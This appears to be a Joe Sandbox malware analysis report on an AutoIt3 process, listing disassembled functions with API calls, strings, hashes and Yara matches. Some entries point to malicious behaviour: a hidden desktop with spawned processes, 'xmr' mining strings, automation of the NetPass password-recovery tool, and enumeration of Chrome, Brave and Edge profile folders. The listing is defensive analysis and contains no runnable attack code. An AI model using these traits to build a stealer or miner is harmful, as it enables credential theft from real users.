Download Yara Rule

Strings

Not an Object type, xrefs: 008BA265
NULL Pointer assignment, xrefs: 008BA28E, 008BA5B2

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: ee0bd1a211da8e9ab9b45116dfe790c35b25a5f53da86e31f33682e2f91dce7a
Instruction ID: 526a543c85909190a9301ff0883af526eee2edbd970c78a667bc5b51c6ee3edb
Opcode Fuzzy Hash: ee0bd1a211da8e9ab9b45116dfe790c35b25a5f53da86e31f33682e2f91dce7a
Instruction Fuzzy Hash: 45C19071A0021A9FDF28DFA8C884AEEB7F5FB48314F148469E915EB381E7709D45CB91

Function 03B6CEEC Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,03B6D1B7,?,?,00000000,00000000), ref: 03B6CF22

Part of subcall function 03B6B620: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 03B6B63E

Strings

AMPM, xrefs: 03B6D136
mmmm d, yyyy, xrefs: 03B6D01E
m/d/yy, xrefs: 03B6CFF1
AMPM , xrefs: 03B6D145
:mm:ss, xrefs: 03B6D172
:mm, xrefs: 03B6D155

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: 952daf9f4718d1b6d98ca27458b90927eeb259413d2ddadee836cacdd6992dcf
Instruction ID: 0d51ec8dc47f711a5339c1c46a7d6a65cd9db2c3d7fe8fead0669a406857a74e
Opcode Fuzzy Hash: 952daf9f4718d1b6d98ca27458b90927eeb259413d2ddadee836cacdd6992dcf
Instruction Fuzzy Hash: E0616E39B0034D5BDF10FBA5D890A9EB7B6EB88208F5098F9A111EF747DA3CD9058760

Function 00F213DD Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,00F216A8,?,?,00000000,00000000), ref: 00F21413

Part of subcall function 00F1FFD5: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 00F1FFF3

Strings

mmmm d, yyyy, xrefs: 00F2150F
:mm, xrefs: 00F21646
AMPM , xrefs: 00F21636
AMPM, xrefs: 00F21627
m/d/yy, xrefs: 00F214E2
:mm:ss, xrefs: 00F21663

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: cba4b42d661b1a386e120c31b5dd3f43082664eef982cc98160703cf71a1cad7
Instruction ID: acd73ca4b409205453875d8bee602bee4d8e80e174349f96c27adc0465876e2b
Opcode Fuzzy Hash: cba4b42d661b1a386e120c31b5dd3f43082664eef982cc98160703cf71a1cad7
Instruction Fuzzy Hash: 06619031B001189BDB00FFA4EC81ADE77AAEB98300F149135B101AB747DA7DDD4ABB55

Function 03BBC2B8 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 189COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,000000FE,00000BB8,00000BB8,00000000,00000000,00000001,00000001,00000000,00000000,03BBC550,?,?,?,00000006,00000000), ref: 03BBC3E3

Part of subcall function 03B91470: Sleep.KERNEL32(00000002,03B91F25,00000000,03B91F40), ref: 03B91471

Part of subcall function 03B7BC4C: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 03B7BC56

Part of subcall function 03B94A08: GetCurrentProcessId.KERNEL32(00000000,00000000,03BB92B9), ref: 03B94A10
Part of subcall function 03B94A08: OpenProcess.KERNEL32(00000001,00000000,00000000,00000000,00000000,00000000,03BB92B9), ref: 03B94A20
Part of subcall function 03B94A08: TerminateProcess.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,03BB92B9), ref: 03B94A26

Strings

SysListView32, xrefs: 03BBC414
xmr, xrefs: 03BBC36F, 03BBC3F3, 03BBC478, 03BBC4DD
c:\temp\data.txt, xrefs: 03BBC455, 03BBC463, 03BBC4BC, 03BBC4F2, 03BBC4FC
NetPass, xrefs: 03BBC3A9
||-_-|-_-||, xrefs: 03BBC30C
Network Password Recovery, xrefs: 03BBC3A4

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Process$CurrentMessageOpenSendSleepTerminateWindow
String ID: NetPass$Network Password Recovery$SysListView32$c:\temp\data.txt$xmr$||-_-|-_-||
API String ID: 673132420-1552625522
Opcode ID: 6ba7f5e09549fb274271ddc43471432919c859c479e2f6a78c467392e183dd00
Instruction ID: f57957f61637382139a5029f07f64db3c83bf8dcc44c0a57ad12facc76c078c4
Opcode Fuzzy Hash: 6ba7f5e09549fb274271ddc43471432919c859c479e2f6a78c467392e183dd00
Instruction Fuzzy Hash: 66612239A003099BDF14FBA5D881AEE77B9EF85308F5041F2E410AF255DFB4AE458B61

Function 03B7D014 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 173networkCOMMON

Download Yara Rule

APIs

getprotobynumber.WS2_32(?), ref: 03B7D08C
getservbyname.WS2_32(00000000,?), ref: 03B7D0BD
htons.WS2_32(00000000), ref: 03B7D0D7
inet_addr.WS2_32(00000000), ref: 03B7D111
gethostbyname.WS2_32(00000000), ref: 03B7D120
WSAGetLastError.WS2_32(?,00000000,03B7D240), ref: 03B7D129

Strings

255.255.255.255, xrefs: 03B7D0F1

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: ErrorLastgethostbynamegetprotobynumbergetservbynamehtonsinet_addr
String ID: 255.255.255.255
API String ID: 1512579943-2422070025
Opcode ID: 2da552433c8951ce2339ec5689e8753f267678145394283b90f90ace41956b85
Instruction ID: eb934eec5835f9ff1aa8098df1a63c5d696692ae47f90318fb299ec39e6a02c0
Opcode Fuzzy Hash: 2da552433c8951ce2339ec5689e8753f267678145394283b90f90ace41956b85
Instruction Fuzzy Hash: 1A617D74E04208DFDB11DFA8D984AAEBBF4EF49318F1480BAE815EB751D7749A41CB50

Function 03B93A74 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 167processsynchronizationCOMMON

Download Yara Rule

APIs

CreateDesktopA.USER32(00000000,00000000,00000000,00000000,10000000,00000000), ref: 03B93B3E
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,08008000,00000000,00000000,00000044,?,00000000,03B93C6D,?,?,?), ref: 03B93B7F
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,08008000,00000000,00000000,00000044,?,00000000,00000000,00000000,00000000,000000FF,08008000), ref: 03B93BBC
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,08008000,00000000,00000000,00000044,?,00000000,03B93C6D,?,?,?), ref: 03B93BF5
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,000000FF,08008000,00000000,00000000,00000044,?,00000000,00000000,00000000,00000000,000000FF,08008000), ref: 03B93C2D
WaitForSingleObject.KERNEL32(?,000000FF,00000000,00000000,00000000,00000000,000000FF,08008000,00000000,00000000,00000044,?,00000000,03B93C6D,?,?), ref: 03B93C40

Strings

D, xrefs: 03B93B0F

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Create$Process$DesktopObjectSingleWait
String ID: D
API String ID: 183768610-2746444292
Opcode ID: d48a5954b15719f34c72477648a8cd1f44e491e85c5ed6eba0ecba68a1e51acf
Instruction ID: c09be13a07ad652693db2a7fe5f951f4ef39a3c3f2e57f4f057a8e5a2ee04469
Opcode Fuzzy Hash: d48a5954b15719f34c72477648a8cd1f44e491e85c5ed6eba0ecba68a1e51acf
Instruction Fuzzy Hash: 75514F78A0070DBEEB10EBD4CC81F9EB7B8EF04704F2041B6A514BB292D7786A018B54

Function 03B7134C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 03B713E5
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 03B71401
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 03B7143A
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 03B714C6
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 03B714E5
VariantCopy.OLEAUT32(?), ref: 03B7151A

Strings

, xrefs: 03B71366

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-3916222277
Opcode ID: d86e1f33596d4aef53c3cfaa159972970693b9ff1c5b14be54ccb225d1272e81
Instruction ID: 27ca67ef26e246534c2570361e9d3b71712e62035464453fe5fd1a7a6f4248a9
Opcode Fuzzy Hash: d86e1f33596d4aef53c3cfaa159972970693b9ff1c5b14be54ccb225d1272e81
Instruction Fuzzy Hash: 9751B9B9A0021D9BCB66EF58C890BD9B3FCEF4C214F0441E5E519EB611DA70AF858F64

Function 03B9A448 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 122fileCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,000009EC,00000000), ref: 03B9A4EA
MulDiv.KERNEL32(?,000009EC,00000000), ref: 03B9A507
SetWinMetaFileBits.GDI32(00000016,?,00000000,00000008,?,000009EC,00000000,?,000009EC,00000000), ref: 03B9A533
GetEnhMetaFileHeader.GDI32(00000016,00000064,?,00000016,?,00000000,00000008,?,000009EC,00000000,?,000009EC,00000000), ref: 03B9A553
DeleteEnhMetaFile.GDI32(00000016), ref: 03B9A574
SetWinMetaFileBits.GDI32(00000016,?,00000000,00000008,00000016,00000064,?,00000016,?,00000000,00000008,?,000009EC,00000000,?,000009EC), ref: 03B9A587

Strings

`, xrefs: 03B9A4CF

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: FileMeta$Bits$DeleteHeader
String ID: `
API String ID: 1990453761-2679148245
Opcode ID: 70aa45bb709ee3b06b1c4697bb07051d4cd2e48d7cc30fbd8da0ad34b9f971c5
Instruction ID: 3f53c0195db343f14661f028c113afc19971bb6eee454277bee61b5264167a77
Opcode Fuzzy Hash: 70aa45bb709ee3b06b1c4697bb07051d4cd2e48d7cc30fbd8da0ad34b9f971c5
Instruction Fuzzy Hash: 9541FC75A00208AFDB10DFA8C885AAEB7F9EF49714F5484B6E904EB241E7399D44CB64

Function 008A47E8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 008A4802
LoadStringW.USER32(00000000), ref: 008A4809
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 008A481F
LoadStringW.USER32(00000000), ref: 008A4826
_wprintf.LIBCMT ref: 008A484C
MessageBoxW.USER32(00000000,?,?,00011010), ref: 008A486A

Strings

%s (%d) : ==> %s: %s %s, xrefs: 008A4847

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 8658e7a37e505d6af024873f02d19c1e3a4b869108cbbce3a9e0bf9c81659a19
Instruction ID: d10715c74b104142bcf516dcf3124228d2d1b651a446409ca7c96a60c99e3817
Opcode Fuzzy Hash: 8658e7a37e505d6af024873f02d19c1e3a4b869108cbbce3a9e0bf9c81659a19
Instruction Fuzzy Hash: 08014FF29413087FEB1197A4AD89FFA776CFB08300F4006A6B749E2141EA749E844F75

Function 03B64138 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,03B64202,?,?,?,?,?,?,?,03B642AE,03B62B1F), ref: 03B64171
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,03B64202,?,?,?,?,?,?,?,03B642AE), ref: 03B64177
GetStdHandle.KERNEL32(000000F5,03B641C0,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,03B64202), ref: 03B6418C
WriteFile.KERNEL32(00000000,000000F5,03B641C0,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,03B64202), ref: 03B64192
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 03B641B0

Strings

Error, xrefs: 03B641A4
Runtime error at 00000000, xrefs: 03B6416A, 03B641A9

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 2eba5ae2d2ee59dbcbef3233d5f4abbd44c011d01c84dc9f9213be919a22b5d3
Instruction ID: 28af7543d21be597fa3df01280de7b0d1b484a67a4ec8e8d7839ac17b44ce0d8
Opcode Fuzzy Hash: 2eba5ae2d2ee59dbcbef3233d5f4abbd44c011d01c84dc9f9213be919a22b5d3
Instruction Fuzzy Hash: B7F0BBA5B5434479ED30F6AA5D05FAD295C8744F2DF544BF5F2209D8E79BEC80C08322

Function 00F1CDF5 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,00F1CEBF,?,?,?,?,?,?,?,00F1CF6B,00F1BCE4), ref: 00F1CE2E
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,00F1CEBF,?,?,?,?,?,?,?,00F1CF6B), ref: 00F1CE34
GetStdHandle.KERNEL32(000000F5,00F1CE7D,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,00F1CEBF), ref: 00F1CE49
WriteFile.KERNEL32(00000000,000000F5,00F1CE7D,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,00F1CEBF), ref: 00F1CE4F
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00F1CE6D

Strings

Runtime error at 00000000, xrefs: 00F1CE27, 00F1CE66
Error, xrefs: 00F1CE61

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: a019bd5a39c0ee09615133aaae9c62bcdfe557c1f70651ce7db2ee1b2893f921
Instruction ID: f9ff97885cc671bed870fbc088f58a1ea26fb1853d3d3458a321ab3556622671
Opcode Fuzzy Hash: a019bd5a39c0ee09615133aaae9c62bcdfe557c1f70651ce7db2ee1b2893f921
Instruction Fuzzy Hash: 18F0B4A1B85358BAEA20F3A0BC0FFD932588744F20F14C515F290550E6C6E899C9B3E3

Function 008C0371 Relevance: 12.3, APIs: 8, Instructions: 256registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00851A36: _memmove.LIBCMT ref: 00851A77

Part of subcall function 008C147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,008C040D,?,?), ref: 008C1491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 008C044E

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: BuffCharConnectRegistryUpper_memmove
String ID:
API String ID: 3479070676-0
Opcode ID: 655e8a40d3965901a7dd570aa86000912b3d8baba5021707368a31377358b71f
Instruction ID: cf5b2a40a4578a873336d72b4fbeda7492ecd4b14b5ca8c514afefcae07e0a5a
Opcode Fuzzy Hash: 655e8a40d3965901a7dd570aa86000912b3d8baba5021707368a31377358b71f
Instruction Fuzzy Hash: 76A12030204205AFCB10EF68C885F2AB7B5FF84354F18891DF9969B2A2DB31E945CF46

Function 008C67F8 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 008C6810
GetDC.USER32(00000000), ref: 008C6818
GetDeviceCaps.GDI32(00000000,0000005A), ref: 008C6823
ReleaseDC.USER32(00000000,00000000), ref: 008C682F
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 008C686B
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 008C687C
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,008C964F,?,?,000000FF,00000000,?,000000FF,?), ref: 008C68B6
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 008C68D6

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: 775067dec137cf0df2e7abab9a49279f60799077ba569e108b915aec59808d7a
Instruction ID: fff5b396f06201cda56cc302790e82313a6c186a346cdd622ef5e2a5dcc84e94
Opcode Fuzzy Hash: 775067dec137cf0df2e7abab9a49279f60799077ba569e108b915aec59808d7a
Instruction Fuzzy Hash: D9316B72102214BFEB118F10DC8AFAA3BA9FB49761F044165FE08DA291D6759C51CBB4

Function 0089C748 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0089C75D
_memcmp.LIBCMT ref: 0089C77F
_memcmp.LIBCMT ref: 0089C797
_memcmp.LIBCMT ref: 0089C7AA
_memcmp.LIBCMT ref: 0089C7C4
_memcmp.LIBCMT ref: 0089C7D7
_memcmp.LIBCMT ref: 0089C7EF
_memcmp.LIBCMT ref: 0089C80A

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 939d273e38b3cb968f75552b3e776e0611264f3ca0421cfa89c13d00b179dc37
Instruction ID: c5f6f81d7253e9975df5fd72f83d0d04cf65691a0772732d99ab06b4d1361d41
Opcode Fuzzy Hash: 939d273e38b3cb968f75552b3e776e0611264f3ca0421cfa89c13d00b179dc37
Instruction Fuzzy Hash: F021D0667012097AAE0075688E86FBB376DFE24784B0C0121FD02E6343E756DE218AA3

Function 03B986DC Relevance: 12.1, APIs: 8, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 03B9870A
GetDeviceCaps.GDI32(?,00000068), ref: 03B98726
GetSystemPaletteEntries.GDI32(?,00000000,00000008,?), ref: 03B98745
GetSystemPaletteEntries.GDI32(?,-00000008,00000001,00C0C0C0), ref: 03B98769
GetSystemPaletteEntries.GDI32(?,00000000,00000007,?), ref: 03B98787
GetSystemPaletteEntries.GDI32(?,00000007,00000001,?), ref: 03B9879B
GetSystemPaletteEntries.GDI32(?,00000000,00000008,?), ref: 03B987BB
ReleaseDC.USER32(00000000,?), ref: 03B987D3

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: EntriesPaletteSystem$CapsDeviceRelease
String ID:
API String ID: 1781840570-0
Opcode ID: 70fcfa03a050b2813c73b26fd473769aaa2411eec866e6f1cc145e69ccf34a2a
Instruction ID: 259ddeef8e9f17f305faac80dab0125aaab7f3bfdacb87970eb225486fe80173
Opcode Fuzzy Hash: 70fcfa03a050b2813c73b26fd473769aaa2411eec866e6f1cc145e69ccf34a2a
Instruction Fuzzy Hash: 49212FB5A40318FAEB10DBA5CD85FAE73BCEB09708F5004F5B708EB191D6799E408B24

Function 03B9387C Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153processsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 03B64E94: SysAllocStringLen.OLEAUT32(?,?), ref: 03B64EA2

CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,000000FF,08004000,00000000,00000000,00000044,?,00000000,03B93A50), ref: 03B93962
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,000000FF,08004000,00000000,00000000,00000044,?,00000000,00000000,00000000,00000000,000000FF,08004000), ref: 03B9399F
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,000000FF,08004000,00000000,00000000,00000044,?,00000000,03B93A50), ref: 03B939D8
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,000000FF,08004000,00000000,00000000,00000044,?,00000000,00000000,00000000,00000000,000000FF,08004000), ref: 03B93A10
WaitForSingleObject.KERNEL32(?,000000FF,00000000,00000000,00000000,00000000,000000FF,08004000,00000000,00000000,00000044,?,00000000,03B93A50), ref: 03B93A23

Strings

D, xrefs: 03B93919

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CreateProcess$AllocObjectSingleStringWait
String ID: D
API String ID: 3271426801-2746444292
Opcode ID: f86475390419a9fab37b2a92eb900fb757691e5b736ae7b0c0f910be4ed6570c
Instruction ID: d4045705c48fa6881c069289c75ede5a1a28219a0e36a051e36b5460197d7d28
Opcode Fuzzy Hash: f86475390419a9fab37b2a92eb900fb757691e5b736ae7b0c0f910be4ed6570c
Instruction Fuzzy Hash: 55512278A0470CBEEB10EBA5CC81F9EB7B9EF04318F2041B6A514BB291D774AA058B54

Function 03B7D658 Relevance: 10.6, APIs: 7, Instructions: 123networkCOMMON

Download Yara Rule

APIs

getprotobynumber.WS2_32 ref: 03B7D6AB
getservbyname.WS2_32(00000000,?), ref: 03B7D6CE
htons.WS2_32(?), ref: 03B7D6F5
getaddrinfo.WS2_32(00000000,00000000,00000001,?), ref: 03B7D768
htons.WS2_32(?), ref: 03B7D78C
htons.WS2_32(?), ref: 03B7D7AA
FreeAddrInfoW.WS2_32(00000000), ref: 03B7D7CB

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: htons$AddrFreeInfogetaddrinfogetprotobynumbergetservbyname
String ID:
API String ID: 1097464056-0
Opcode ID: 00778e00b67d71804ffb432eb6e97219f7a1971eaac2dac1333c54db4479fb1c
Instruction ID: fd4dc6bd9ae2f02f514a9f82585f538024ff6f918c631750580b9570714ea66f
Opcode Fuzzy Hash: 00778e00b67d71804ffb432eb6e97219f7a1971eaac2dac1333c54db4479fb1c
Instruction Fuzzy Hash: 90413078A00209EFDB10EFA8DD49AAEB7F9EF09708F1584B9E414E7651D7749E00CB61

Function 03BB29E0 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 103sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,00000000,03BB2B52,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 03BB2AB4
Sleep.KERNEL32(000001F4,?,||-_-|-_-||,?,00000064,00000000,03BB2B52,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 03BB2B1D

Strings

dark, xrefs: 03BB2A0C
BraveSoftware, xrefs: 03BB2A64
Google, xrefs: 03BB2A37
||-_-|-_-||, xrefs: 03BB2AE5
Microsoft\Edge, xrefs: 03BB2A91

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: BraveSoftware$Google$Microsoft\Edge$dark$||-_-|-_-||
API String ID: 3472027048-3484757196
Opcode ID: 718781fb95e2fb153b3886fde3eb19e4a22c545984749e7d0f5a560c94a3c4d8
Instruction ID: d1bc5ed24e7d450bc5dba1b2915ebca62face5153f999d9355500a4afc9f22d2
Opcode Fuzzy Hash: 718781fb95e2fb153b3886fde3eb19e4a22c545984749e7d0f5a560c94a3c4d8
Instruction Fuzzy Hash: A8318D38A0070D8FDF24FBA5C4619BE7375EB8920CF118CF5A411AF655DFB89D028A61

Function 03B9A9FC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,?,000009EC), ref: 03B9AA4E
MulDiv.KERNEL32(?,?,000009EC), ref: 03B9AA65
